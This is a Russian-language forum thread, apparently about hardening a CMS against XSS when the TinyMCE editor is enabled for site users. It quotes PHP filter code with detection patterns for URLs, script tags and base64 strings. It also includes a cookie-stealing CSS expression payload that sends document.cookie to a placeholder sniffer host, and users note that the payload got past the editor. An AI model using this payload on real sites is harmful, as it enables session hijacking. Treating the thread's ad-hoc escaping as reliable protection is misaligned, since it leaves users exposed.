Тогда как это штука работает в пользовательских частях в про версии? Там более хитрая система фильтрации?
TinyMCE в пользовательскую часть
Вот кусочек кода из Про версии... security.php
foreach ($_POST as $var_name=>$var_value) {
$var_value = is_array($var_value) ? fields_save($var_value) : $var_value;
if ($confs['url_post']) if (preg_match("#^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)#i", $var_value)) warn_report("URL in POST - ".$var_name." = ". $var_value);
$editor = intval(substr($admin[3], 0, 1));
if (((defined("ADMIN_FILE") && $editor != 1) || (!defined("ADMIN_FILE") && $conf['redaktor'] != 1)) && preg_match("#<.*?(script|body|object|iframe|applet|meta|form).*?>#i", urldecode($var_value))) warn_report("HTML in POST - ".$var_name." = ". $var_value);
$security_string = "#".$prefix."_admins|".$prefix."_users#i";
$security_decode = base64_decode($var_value);
if (preg_match($security_string, $security_decode)) hack_report("XSS base64 in POST - ".$var_name." = ". $var_value);
if (preg_match($security_string, $var_value)) hack_report("XSS in POST - ".$var_name." = ". $var_value);
$security_slash = preg_replace("#\/\*.*?\*\/#", "", $var_value);
if (preg_match($security_string, $security_slash)) hack_report("XSS in POST - ".$var_name." = ". $var_value);
}
}Также отсутствует тэг style...
septron, видимо это сделано умышленно, чтобы проще было взломать сайт 😉
- Группа
- Супермодераторы
- Пункты
- 1595
- Регистрация
- 18.09.2008
- Пол
- Мужчина
- Из
- Россия
- Предупреждения
- Нет
3.92
GRAFLEKX, ну вот этот кусочек if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in POST - ".$var_name." = ". $var_value); зафильтрует пример style="background-image: url('http://example.com/sniffer.php?cookie=' + expression(document.cookie));" при отключённом style? Может что-то хитрое можно придумать, чтобы и редактор поставить, и как-нибудь обезопасить страничку... Или лучше вернуться к bb-редактору?
Однако с отключённым джаваскрипт редактор благополучно пропустил вышеприведённый пример с кукиес... Исходный код:
<td vAlign=top width="80%"><style=\"background-image: url(\'http://example.com/sniffer.php?cookie=\' + expression(document.cookie));\"></td>Ребят, может можно как-то сделать, чтобы система добавляла дополнительные символы какие-нибудь в подобные строки, тем самым их обезвреживая?
Можно в функцию save дописать...
$comment = str_replace(array("'", "\\"), array("'", "\"), stripslashes($comment));Тогда это дело выглядит как
<style="background-image: url('http://example.com/sniffer.php?cookie=' + expression(document.cookie));">Такой вариант защитит?
septron, я думал вы все поняли, когда писали про 4.3, и как там все это реализовано для защиты.
Делайте всё по примеру с данной версией.
А как пример, я тоже самое могу прописать не в тег style, а в тег td как бекграунд, и будет тоже самое...
Пробуйте приведенные Вами примеры и сами все узнаете . 🙂
- Группа
- Супермодераторы
- Пункты
- 1595
- Регистрация
- 18.09.2008
- Пол
- Мужчина
- Из
- Россия
- Предупреждения
- Нет
3.92